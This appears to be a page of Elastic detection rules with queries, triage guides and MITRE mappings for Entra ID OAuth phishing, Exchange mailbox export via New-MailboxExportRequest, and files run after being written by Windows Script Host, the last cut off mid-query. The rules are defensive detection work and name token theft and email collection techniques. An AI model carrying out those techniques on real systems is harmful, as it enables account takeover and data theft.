#Identifies separate OAuth authorization flows in Microsoft Entra ID where the same user principal and session ID are observed across multiple IP addresses within a 5-minute window. These flows involve the Microsoft Authentication Broker (MAB) as the client application and the Device Registration Service (DRS) as the target resource. This pattern is highly indicative of OAuth phishing activity, where an adversary crafts a legitimate Microsoft login URL to trick a user into completing authentication and sharing the resulting authorization code, which is then exchanged for an access and refresh token by the attacker.
Known False Positives
- Legitimate device registrations using Microsoft Authentication Broker may occur during corporate enrollment scenarios or bulk provisioning, but it is uncommon for multiple source IPs to register the same identity across Microsoft Graph, Device Registration Service (DRS), and Azure Active Directory (AAD) in a short time span.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Stealth | |
| Credential Access | |
| Lateral Movement |
Telemetry Coverage
Rule Body
[metadata]
creation_date = "2025/04/30"
integration = ["azure"]
maturity = "production"
updated_date = "2026/04/10"
[rule]
author = ["Elastic"]
description = """
Identifies separate OAuth authorization flows in Microsoft Entra ID where the same user principal and session ID are
observed across multiple IP addresses within a 5-minute window. These flows involve the Microsoft Authentication Broker
(MAB) as the client application and the Device Registration Service (DRS) as the target resource. This pattern is highly
indicative of OAuth phishing activity, where an adversary crafts a legitimate Microsoft login URL to trick a user into
completing authentication and sharing the resulting authorization code, which is then exchanged for an access and
refresh token by the attacker.
"""
false_positives = [
"""
Legitimate device registrations using Microsoft Authentication Broker may occur during corporate enrollment
scenarios or bulk provisioning, but it is uncommon for multiple source IPs to register the same identity across
Microsoft Graph, Device Registration Service (DRS), and Azure Active Directory (AAD) in a short time span.
""",
]
from = "now-61m"
interval = "60m"
language = "esql"
license = "Elastic License v2"
name = "Entra ID OAuth Flow by Microsoft Authentication Broker to Device Registration Service (DRS)"
note = """## Triage and analysis
### Investigating Entra ID OAuth Flow by Microsoft Authentication Broker to Device Registration Service (DRS)
This rule identifies potential OAuth phishing behavior in Microsoft Entra ID where two OAuth authorization flows are observed in quick succession, sharing the same user principal and session ID but originating from different IP addresses. The client application is the Microsoft Authentication Broker, and the target resource is the Device Registration Service (DRS). This pattern is indicative of adversaries attempting to phish targets for OAuth sessions by tricking users into authenticating through a crafted URL, which then allows the attacker to obtain an authorization code and exchange it for access and refresh tokens.
### Possible Investigation Steps:
- `target`: The user principal name targeted by the authentication broker. Investigate whether this user has recently registered a device, signed in from new IPs, or had password resets or MFA changes.
- `session_id`: Used to correlate all events in the OAuth flow. All sign-ins in the alert share the same session, suggesting shared or hijacked state.
- `unique_token_id`: Lists tokens generated in the flow. If multiple IDs exist in the same session, this indicates token issuance from different locations.
- `source_ip`, `city_name`, `country_name`, `region_name`: Review the IPs and geolocations involved. A mismatch in geographic origin within minutes can signal adversary involvement.
- `user_agent`: Conflicting user agents (e.g., `python-requests` and `Chrome`) suggest one leg of the session was scripted or automated.
- `os`: If multiple operating systems are observed in the same short session (e.g., macOS and Windows), this may suggest activity from different environments.
- `incoming_token_type`: Look for values like `"none"` or `"refreshToken"` that can indicate abnormal or re-authenticated activity.
- `token_session_status`: A value of `"unbound"` means the issued token is not tied to a device or CAE session, making it reusable from another IP.
- `conditional_access_status`: If this is `"notApplied"`, it may indicate that expected access policies were not enforced.
- `auth_count`: Number of events in the session. More than one indicates the session was reused within the time window.
- `target_time_window`: Use this to pivot into raw sign-in logs to review the exact sequence and timing of the activity.
- Search `azure.auditlogs` for any device join or registration activity around the `target_time_window`.
- Review `azure.identityprotection` logs for anonymized IPs, impossible travel, or token replay alerts.
- Search for other activity from the same IPs across all users to identify horizontal movement.
### False Positive Analysis
- A legitimate device join from a user switching networks (e.g., mobile hotspot to Wi-Fi) could explain multi-IP usage.
- Some identity management agents or EDR tools may use MAB for background device registration flows.
- Developers or IT administrators may access DRS across environments when testing.
### Response and Remediation
- If confirmed unauthorized, revoke all refresh tokens for the user and disable any suspicious registered devices.
- Notify the user and verify if the authentication or device join was expected.
- Review Conditional Access policies for the Microsoft Authentication Broker (`29d9ed98-a469-4536-ade2-f981bc1d605e`) to ensure enforcement of MFA and device trust.
- Consider restricting token-based reauthentication from anonymized infrastructure or unusual user agents.
- Continue monitoring for follow-on activity, such as privilege escalation, token misuse, or lateral movement.
"""
references = [
"https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/",
"https://github.com/dirkjanm/ROADtools",
"https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/",
]
risk_score = 73
rule_id = "375132c6-25d5-11f0-8745-f661ea17fbcd"
setup = """#### Required Microsoft Entra ID Sign-In Logs
This rule requires the Microsoft Entra ID Sign-In Logs integration be enabled and configured to collect sign-in logs. In Entra ID, sign-in logs must be enabled and streaming to the Event Hub used for the Azure integration.
"""
severity = "high"
tags = [
"Domain: Cloud",
"Domain: Identity",
"Data Source: Azure",
"Data Source: Entra ID",
"Data Source: Entra ID Sign-in Logs",
"Use Case: Identity and Access Audit",
"Use Case: Threat Detection",
"Resources: Investigation Guide",
"Tactic: Initial Access",
]
timestamp_override = "event.ingested"
type = "esql"
query = '''
from logs-azure.signinlogs-* metadata _id, _version, _index
| where
data_stream.dataset == "azure.signinlogs" and
event.outcome == "success" and
azure.signinlogs.properties.user_type == "Member" and
azure.signinlogs.identity is not null and
azure.signinlogs.properties.user_principal_name is not null and
source.address is not null and
azure.signinlogs.properties.app_id == "29d9ed98-a469-4536-ade2-f981bc1d605e" and // MAB
azure.signinlogs.properties.resource_id == "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" // DRS
| eval
Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp),
Esql.azure_signinlogs_properties_session_id = azure.signinlogs.properties.session_id,
Esql.is_browser_case = case(
to_lower(azure.signinlogs.properties.device_detail.browser) rlike "(chrome|firefox|edge|safari).*", 1, 0
)
| stats
Esql_priv.azure_signinlogs_properties_user_display_name_values = values(azure.signinlogs.properties.user_display_name),
Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name),
Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id),
Esql.azure_signinlogs_properties_unique_token_identifier_values = values(azure.signinlogs.properties.unique_token_identifier),
Esql.source_geo_city_name_values = values(source.geo.city_name),
Esql.source_geo_country_name_values = values(source.geo.country_name),
Esql.source_geo_region_name_values = values(source.geo.region_name),
Esql.source_address_values = values(source.address),
Esql.source_address_count_distinct = count_distinct(source.address),
Esql.source_as_organization_name_values = values(source.`as`.organization.name),
Esql.azure_signinlogs_properties_authentication_protocol_values = values(azure.signinlogs.properties.authentication_protocol),
Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement),
Esql.azure_signinlogs_properties_is_interactive_values = values(azure.signinlogs.properties.is_interactive),
Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type),
Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values = values(azure.signinlogs.properties.token_protection_status_details.sign_in_session_status),
Esql.azure_signinlogs_properties_session_id_count_distinct = count_distinct(azure.signinlogs.properties.session_id),
Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name),
Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id),
Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id),
Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name),
Esql.azure_signinlogs_properties_app_owner_tenant_id_values = values(azure.signinlogs.properties.app_owner_tenant_id),
Esql.azure_signinlogs_properties_resource_owner_tenant_id_values = values(azure.signinlogs.properties.resource_owner_tenant_id),
Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status),
Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state),
Esql.azure_signinlogs_properties_risk_level_aggregated_values = values(azure.signinlogs.properties.risk_level_aggregated),
Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser),
Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system),
Esql.user_agent_original_values = values(user_agent.original),
Esql.is_browser_case_max = max(Esql.is_browser_case),
Esql.event_count = count(*)
by
Esql.time_window_date_trunc,
azure.signinlogs.properties.user_principal_name,
azure.signinlogs.properties.session_id
| keep
Esql.time_window_date_trunc,
Esql_priv.azure_signinlogs_properties_user_display_name_values,
Esql_priv.azure_signinlogs_properties_user_principal_name_values,
Esql.azure_signinlogs_properties_session_id_values,
Esql.azure_signinlogs_properties_unique_token_identifier_values,
Esql.source_geo_city_name_values,
Esql.source_geo_country_name_values,
Esql.source_geo_region_name_values,
Esql.source_address_values,
Esql.source_address_count_distinct,
Esql.source_as_organization_name_values,
Esql.azure_signinlogs_properties_authentication_protocol_values,
Esql.azure_signinlogs_properties_authentication_requirement_values,
Esql.azure_signinlogs_properties_is_interactive_values,
Esql.azure_signinlogs_properties_incoming_token_type_values,
Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values,
Esql.azure_signinlogs_properties_session_id_count_distinct,
Esql.azure_signinlogs_properties_app_display_name_values,
Esql.azure_signinlogs_properties_app_id_values,
Esql.azure_signinlogs_properties_resource_id_values,
Esql.azure_signinlogs_properties_resource_display_name_values,
Esql.azure_signinlogs_properties_app_owner_tenant_id_values,
Esql.azure_signinlogs_properties_resource_owner_tenant_id_values,
Esql.azure_signinlogs_properties_conditional_access_status_values,
Esql.azure_signinlogs_properties_risk_state_values,
Esql.azure_signinlogs_properties_risk_level_aggregated_values,
Esql.azure_signinlogs_properties_device_detail_browser_values,
Esql.azure_signinlogs_properties_device_detail_operating_system_values,
Esql.user_agent_original_values,
Esql.is_browser_case_max,
Esql.event_count
| where
Esql.source_address_count_distinct >= 2 and
Esql.azure_signinlogs_properties_session_id_count_distinct == 1 and
Esql.is_browser_case_max >= 1 and
Esql.event_count >= 2
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"
[[rule.threat.technique]]
id = "T1566"
name = "Phishing"
reference = "https://attack.mitre.org/techniques/T1566/"
[[rule.threat.technique.subtechnique]]
id = "T1566.002"
name = "Spearphishing Link"
reference = "https://attack.mitre.org/techniques/T1566/002/"
[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1528"
name = "Steal Application Access Token"
reference = "https://attack.mitre.org/techniques/T1528/"
[rule.threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1550"
name = "Use Alternate Authentication Material"
reference = "https://attack.mitre.org/techniques/T1550/"
[[rule.threat.technique.subtechnique]]
id = "T1550.001"
name = "Application Access Token"
reference = "https://attack.mitre.org/techniques/T1550/001/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
Stages and Predicates
Stage 1: from
from logs-azure.signinlogs-* metadata _id, _version, _index
Stage 2: where
| where
data_stream.dataset == "azure.signinlogs" and
event.outcome == "success" and
azure.signinlogs.properties.user_type == "Member" and
azure.signinlogs.identity is not null and
azure.signinlogs.properties.user_principal_name is not null and
source.address is not null and
azure.signinlogs.properties.app_id == "29d9ed98-a469-4536-ade2-f981bc1d605e" and
azure.signinlogs.properties.resource_id == "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9"
Stage 3: eval
| eval
Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp),
Esql.azure_signinlogs_properties_session_id = azure.signinlogs.properties.session_id,
Esql.is_browser_case = case(
to_lower(azure.signinlogs.properties.device_detail.browser) rlike "(chrome|firefox|edge|safari).*", 1, 0
)
Esql.is_browser_case =to_lower(azure.signinlogs.properties.device_detail.browser) rlike "(chrome|firefox|edge|safari).*"10Stage 4: stats
| stats
Esql_priv.azure_signinlogs_properties_user_display_name_values = values(azure.signinlogs.properties.user_display_name),
Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name),
Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id),
Esql.azure_signinlogs_properties_unique_token_identifier_values = values(azure.signinlogs.properties.unique_token_identifier),
Esql.source_geo_city_name_values = values(source.geo.city_name),
Esql.source_geo_country_name_values = values(source.geo.country_name),
Esql.source_geo_region_name_values = values(source.geo.region_name),
Esql.source_address_values = values(source.address),
Esql.source_address_count_distinct = count_distinct(source.address),
Esql.source_as_organization_name_values = values(source.`as`.organization.name),
Esql.azure_signinlogs_properties_authentication_protocol_values = values(azure.signinlogs.properties.authentication_protocol),
Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement),
Esql.azure_signinlogs_properties_is_interactive_values = values(azure.signinlogs.properties.is_interactive),
Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type),
Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values = values(azure.signinlogs.properties.token_protection_status_details.sign_in_session_status),
Esql.azure_signinlogs_properties_session_id_count_distinct = count_distinct(azure.signinlogs.properties.session_id),
Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name),
Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id),
Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id),
Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name),
Esql.azure_signinlogs_properties_app_owner_tenant_id_values = values(azure.signinlogs.properties.app_owner_tenant_id),
Esql.azure_signinlogs_properties_resource_owner_tenant_id_values = values(azure.signinlogs.properties.resource_owner_tenant_id),
Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status),
Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state),
Esql.azure_signinlogs_properties_risk_level_aggregated_values = values(azure.signinlogs.properties.risk_level_aggregated),
Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser),
Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system),
Esql.user_agent_original_values = values(user_agent.original),
Esql.is_browser_case_max = max(Esql.is_browser_case),
Esql.event_count = count(*)
by
Esql.time_window_date_trunc,
azure.signinlogs.properties.user_principal_name,
azure.signinlogs.properties.session_id
Stage 5: keep
| keep
Esql.time_window_date_trunc,
Esql_priv.azure_signinlogs_properties_user_display_name_values,
Esql_priv.azure_signinlogs_properties_user_principal_name_values,
Esql.azure_signinlogs_properties_session_id_values,
Esql.azure_signinlogs_properties_unique_token_identifier_values,
Esql.source_geo_city_name_values,
Esql.source_geo_country_name_values,
Esql.source_geo_region_name_values,
Esql.source_address_values,
Esql.source_address_count_distinct,
Esql.source_as_organization_name_values,
Esql.azure_signinlogs_properties_authentication_protocol_values,
Esql.azure_signinlogs_properties_authentication_requirement_values,
Esql.azure_signinlogs_properties_is_interactive_values,
Esql.azure_signinlogs_properties_incoming_token_type_values,
Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values,
Esql.azure_signinlogs_properties_session_id_count_distinct,
Esql.azure_signinlogs_properties_app_display_name_values,
Esql.azure_signinlogs_properties_app_id_values,
Esql.azure_signinlogs_properties_resource_id_values,
Esql.azure_signinlogs_properties_resource_display_name_values,
Esql.azure_signinlogs_properties_app_owner_tenant_id_values,
Esql.azure_signinlogs_properties_resource_owner_tenant_id_values,
Esql.azure_signinlogs_properties_conditional_access_status_values,
Esql.azure_signinlogs_properties_risk_state_values,
Esql.azure_signinlogs_properties_risk_level_aggregated_values,
Esql.azure_signinlogs_properties_device_detail_browser_values,
Esql.azure_signinlogs_properties_device_detail_operating_system_values,
Esql.user_agent_original_values,
Esql.is_browser_case_max,
Esql.event_count
Stage 6: where
| where
Esql.source_address_count_distinct >= 2 and
Esql.azure_signinlogs_properties_session_id_count_distinct == 1 and
Esql.is_browser_case_max >= 1 and
Esql.event_count >= 2
Indicators
These rows show field, operator, and value matches.
Output Fields
These fields are emitted when the rule matches.
| Field | Source |
|---|---|
Esql.time_window_date_trunc | KEEP Esql.time_window_date_trunc |
Esql_priv.azure_signinlogs_properties_user_display_name_values | KEEP Esql_priv.azure_signinlogs_properties_user_display_name_values |
Esql_priv.azure_signinlogs_properties_user_principal_name_values | KEEP Esql_priv.azure_signinlogs_properties_user_principal_name_values |
Esql.azure_signinlogs_properties_session_id_values | KEEP Esql.azure_signinlogs_properties_session_id_values |
Esql.azure_signinlogs_properties_unique_token_identifier_values | KEEP Esql.azure_signinlogs_properties_unique_token_identifier_values |
Esql.source_geo_city_name_values | KEEP Esql.source_geo_city_name_values |
Esql.source_geo_country_name_values | KEEP Esql.source_geo_country_name_values |
Esql.source_geo_region_name_values | KEEP Esql.source_geo_region_name_values |
Esql.source_address_values | KEEP Esql.source_address_values |
Esql.source_address_count_distinct | KEEP Esql.source_address_count_distinct |
Esql.source_as_organization_name_values | KEEP Esql.source_as_organization_name_values |
Esql.azure_signinlogs_properties_authentication_protocol_values | KEEP Esql.azure_signinlogs_properties_authentication_protocol_values |
Esql.azure_signinlogs_properties_authentication_requirement_values | KEEP Esql.azure_signinlogs_properties_authentication_requirement_values |
Esql.azure_signinlogs_properties_is_interactive_values | KEEP Esql.azure_signinlogs_properties_is_interactive_values |
Esql.azure_signinlogs_properties_incoming_token_type_values | KEEP Esql.azure_signinlogs_properties_incoming_token_type_values |
Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values | KEEP Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values |
Esql.azure_signinlogs_properties_session_id_count_distinct | KEEP Esql.azure_signinlogs_properties_session_id_count_distinct |
Esql.azure_signinlogs_properties_app_display_name_values | KEEP Esql.azure_signinlogs_properties_app_display_name_values |
Esql.azure_signinlogs_properties_app_id_values | KEEP Esql.azure_signinlogs_properties_app_id_values |
Esql.azure_signinlogs_properties_resource_id_values | KEEP Esql.azure_signinlogs_properties_resource_id_values |
Esql.azure_signinlogs_properties_resource_display_name_values | KEEP Esql.azure_signinlogs_properties_resource_display_name_values |
Esql.azure_signinlogs_properties_app_owner_tenant_id_values | KEEP Esql.azure_signinlogs_properties_app_owner_tenant_id_values |
Esql.azure_signinlogs_properties_resource_owner_tenant_id_values | KEEP Esql.azure_signinlogs_properties_resource_owner_tenant_id_values |
Esql.azure_signinlogs_properties_conditional_access_status_values | KEEP Esql.azure_signinlogs_properties_conditional_access_status_values |
Esql.azure_signinlogs_properties_risk_state_values | KEEP Esql.azure_signinlogs_properties_risk_state_values |
Esql.azure_signinlogs_properties_risk_level_aggregated_values | KEEP Esql.azure_signinlogs_properties_risk_level_aggregated_values |
Esql.azure_signinlogs_properties_device_detail_browser_values | KEEP Esql.azure_signinlogs_properties_device_detail_browser_values |
Esql.azure_signinlogs_properties_device_detail_operating_system_values | KEEP Esql.azure_signinlogs_properties_device_detail_operating_system_values |
Esql.user_agent_original_values | KEEP Esql.user_agent_original_values |
Esql.is_browser_case_max | KEEP Esql.is_browser_case_max |
Esql.event_count | KEEP Esql.event_count |
Exchange Mailbox Export via PowerShell
#Detects PowerShell script block content that creates Exchange mailbox export requests via New-MailboxExportRequest, commonly writing PST files. Adversaries can abuse export requests to collect and stage email content for exfiltration.
Known False Positives
- Legitimate exchange system administration activity.
MITRE ATT&CK Coverage
Rule Body
[metadata]
creation_date = "2023/01/11"
integration = ["windows"]
maturity = "production"
updated_date = "2026/03/30"
[rule]
author = ["Elastic"]
description = """
Detects PowerShell script block content that creates Exchange mailbox export requests via New-MailboxExportRequest,
commonly writing PST files. Adversaries can abuse export requests to collect and stage email content for exfiltration.
"""
false_positives = ["Legitimate exchange system administration activity."]
from = "now-9m"
index = ["winlogbeat-*", "logs-windows.powershell*"]
language = "kuery"
license = "Elastic License v2"
name = "Exchange Mailbox Export via PowerShell"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Exchange Mailbox Export via PowerShell
This alert indicates PowerShell script block content associated with creation of an Exchange mailbox export request. Mailbox exports can produce PST files and may represent sensitive email collection and staging for later access or exfiltration. Prioritize understanding who initiated the activity, which mailbox(es) were targeted, where the output was intended to be written, and whether the activity aligns with approved administrative workflows.
#### Key alert fields to review
- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping.
- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping.
- `powershell.file.script_block_text`: Script block content that matched the detection logic.
- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events.
- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file.
- `powershell.file.script_block_length`: Script block length (size) context.
#### Possible investigation steps
- Validate what the script block is attempting to do using `powershell.file.script_block_text`:
- Identify the mailbox target(s). Look for explicit `-Mailbox` values, mailbox identifiers, or mailbox enumeration logic (for example, use of `Get-Mailbox` as an input source).
- Identify the intended export destination from `-FilePath`. Note whether the path appears to be a local path or a network location, and whether the naming pattern suggests a single mailbox export or bulk export activity.
- Note whether the content suggests automation (loops, iteration over multiple mailboxes, variable-driven file paths) versus a single interactive export request.
- Reconstruct full script block content when fragmented:
- If `powershell.file.script_block_text` appears truncated or incomplete, group related events by `powershell.file.script_block_id` and order by `powershell.sequence` up to `powershell.total` to rebuild the full script before assessing intent.
- Pivot to other script blocks from the same `user.id` and `host.id` near `@timestamp` to capture supporting context (variable definitions, functions, or preceding logic that populates mailbox or file path parameters).
- Establish execution context and initiating source:
- Use `host.name` and `host.id` to determine whether the activity originated from an expected Exchange management host (for example, an Exchange server or approved administrative workstation) or from an unexpected endpoint.
- Use `user.domain`, `user.name`, and `user.id` to determine whether the initiating account is expected to perform mailbox export operations (administrator or approved automation account) and whether the timing aligns with known operational windows.
- Use `process.pid` and `host.id` to correlate with process execution telemetry and determine how PowerShell was launched (interactive session vs automated execution) and whether there is an unusual parent process lineage for administrative activity.
- If `file.path` or `file.name` is present, treat the referenced script as a key artifact:
- Determine whether the path and file name match known administrative tooling or expected automation locations.
- If the script is not recognized, preserve it for analysis and assess whether it contains additional collection, staging, or cleanup logic beyond the export request.
- Scope the activity across users, hosts, and time:
- Identify other `powershell.file.script_block_id` values associated with the same `user.id` or `host.id` to determine whether the export activity is part of a larger PowerShell workflow.
- Review whether multiple distinct `process.pid` values are associated with similar export activity for the same user, which may indicate multiple sessions or parallel execution.
- Assess potential impact and staging indicators:
- If an export destination path is identifiable in `powershell.file.script_block_text`, correlate with file activity on the relevant host(s) to determine whether a PST file was created, modified, accessed, moved, or archived after `@timestamp`.
- Correlate with network telemetry for `host.id` around `@timestamp` to identify access to the export destination location and any subsequent outbound transfers that could indicate staging or exfiltration.
- Review authentication activity associated with `user.id` and the involved `host.id` around `@timestamp` for anomalies such as unusual logon sources, new sessions, or activity outside normal administrative patterns.
- Preserve evidence for follow-on analysis:
- Record the reconstructed script content, `powershell.file.script_block_id`, and the full `powershell.sequence`/`powershell.total` range used for reconstruction.
- Capture the specific mailbox identifiers and destination paths observed in `powershell.file.script_block_text` to support scoping and data exposure assessment.
### False positive analysis
- Legitimate mailbox exports may occur for compliance, eDiscovery, user support, migrations, or incident response. Validate the presence of an authorized business request, ticket, or approved workflow that matches the timing and the scope of the export.
- Benign activity is more likely when:
- The initiating `user.name` is a known Exchange administrator or authorized automation account in `user.domain`.
- The `host.name` is an expected administrative host for Exchange management tasks.
- The destination path referenced in `powershell.file.script_block_text` aligns with approved export storage locations and expected naming conventions.
- Activity is higher risk when it originates from an unexpected `host.name`, uses an unusual `user.name`, targets many mailboxes, or writes to atypical destinations.
### Response and remediation
- If the activity is unauthorized or cannot be validated:
- Contain the initiating account (`user.id`/`user.name`) by disabling the account or removing access to mailbox export capabilities, and rotate credentials as appropriate.
- Contain affected systems (`host.id`/`host.name`) based on scope and confidence. Isolate endpoints used for unexpected Exchange administrative actions to prevent further collection or staging.
- Identify and secure any exported PST output referenced in `powershell.file.script_block_text`. Treat recovered PST files and scripts as sensitive evidence; restrict access and preserve copies for investigation.
- Use approved administrative procedures to cancel or remove unauthorized export requests and prevent completion of in-progress exports.
- Conduct follow-on threat hunting and scoping:
- Search for additional mailbox export activity by the same `user.id` and `host.id`, including repeated or bulk export patterns.
- Review additional PowerShell script block activity for the same `powershell.file.script_block_id` and adjacent script blocks around `@timestamp` to identify related collection, staging, or cleanup actions.
- Reduce recurrence risk:
- Apply least-privilege controls for accounts that can initiate mailbox exports and restrict where exports can be written.
- Limit Exchange administrative actions to approved management hosts and monitored administrative workflows.
- Enhance monitoring for repeated mailbox export requests, unusual export destinations, and suspicious PowerShell activity associated with the same users and hosts.
"""
references = [
"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
"https://docs.microsoft.com/en-us/powershell/module/exchange/new-mailboxexportrequest?view=exchange-ps",
"https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry",
]
risk_score = 47
rule_id = "54a81f68-5f2a-421e-8eed-f888278bb712"
setup = """## Setup
PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104).
Setup instructions: https://ela.st/powershell-logging-setup
"""
severity = "medium"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Collection",
"Resources: Investigation Guide",
"Data Source: PowerShell Logs",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
event.category:process and host.os.type:windows and
powershell.file.script_block_text : "New-MailboxExportRequest" and
(
powershell.file.script_block_text : ("-FilePath" or ".pst") and
powershell.file.script_block_text : ("-Mailbox" or "Get-Mailbox" or "ExportToPSTFile" or "-Identity")
)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1005"
name = "Data from Local System"
reference = "https://attack.mitre.org/techniques/T1005/"
[[rule.threat.technique]]
id = "T1074"
name = "Data Staged"
reference = "https://attack.mitre.org/techniques/T1074/"
[[rule.threat.technique.subtechnique]]
id = "T1074.001"
name = "Local Data Staging"
reference = "https://attack.mitre.org/techniques/T1074/001/"
[[rule.threat.technique]]
id = "T1114"
name = "Email Collection"
reference = "https://attack.mitre.org/techniques/T1114/"
[[rule.threat.technique.subtechnique]]
id = "T1114.001"
name = "Local Email Collection"
reference = "https://attack.mitre.org/techniques/T1114/001/"
[[rule.threat.technique.subtechnique]]
id = "T1114.002"
name = "Remote Email Collection"
reference = "https://attack.mitre.org/techniques/T1114/002/"
[rule.threat.tactic]
id = "TA0009"
name = "Collection"
reference = "https://attack.mitre.org/tactics/TA0009/"
[rule.investigation_fields]
field_names = [
"@timestamp",
"user.name",
"user.id",
"user.domain",
"powershell.file.script_block_text",
"powershell.file.script_block_id",
"powershell.sequence",
"powershell.total",
"file.path",
"file.directory",
"file.name",
"process.pid",
"host.name",
"host.id",
"powershell.file.script_block_length"
]
Stages and Predicates
Stage 1: query
event.category:process and host.os.type:windows and
powershell.file.script_block_text : "New-MailboxExportRequest" and
(
powershell.file.script_block_text : ("-FilePath" or ".pst") and
powershell.file.script_block_text : ("-Mailbox" or "Get-Mailbox" or "ExportToPSTFile" or "-Identity")
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.category | eq |
| field:"event.category" kind:eq value:"process" |
powershell.file.script_block_text | eq |
| field:"ScriptBlockText" kind:eq value:"New-MailboxExportRequest" |
powershell.file.script_block_text | in |
| field:"ScriptBlockText" kind:in |
Execution of a File Written by Windows Script Host
#Identifies the execution of a file written or modified by Microsoft Windows Script Host processes (cscript or wscript).
MITRE ATT&CK Coverage
Rule Body
[rule]
description = "Identifies the execution of a file written or modified by Microsoft Windows Script Host processes (cscript or wscript)."
id = "49e47c2a-307f-4591-939a-dfdae6e5156c"
license = "Elastic License v2"
name = "Execution of a File Written by Windows Script Host"
os_list = ["windows"]
version = "1.0.38"
query = '''
sequence with maxspan=5m
[file where event.action != "deletion" and
process.name : ("cscript.exe", "wscript.exe") and
not file.path : ("?:\\Program Files (x86)\\*.exe", "?:\\Program Files\\*.exe")] by file.path
[process where event.action == "start" and
not process.Ext.token.integrity_level_name == "system" and
not process.parent.executable : "?:\\Windows\\System32\\drvinst.exe" and
not (process.code_signature.trusted == true and
process.code_signature.subject_name :
("Microsoft *",
"ESET, spol. s r.o.",
"VORTECH SOLUTIONS PTY LTD",
"Western Union Holdings Inc.",
"KOBIL Systems GmbH")) and
not (process.pe.original_file_name : "Packman.exe" and process.args : "checkCompileErrors=true") and
not process.pe.original_file_name : ("CCCLauncher.exe", "Bginfo.exe") and
not process.executable : ("?:\\Program Files (x86)\\*", "?:\\Program Files\\*") and
not (process.pe.original_file_name == "cognosrcp.exe" and
process.code_signature.subject_name == "IBM Canada Ltd." and process.code_signature.trusted == true) and
not (process.code_signature.subject_name : ("The Qt Company Oy", "ci solution GmbH", "Spotify AB", "Nextech Systems, LLC") and
process.code_signature.trusted == true) and
not process.hash.sha256 :
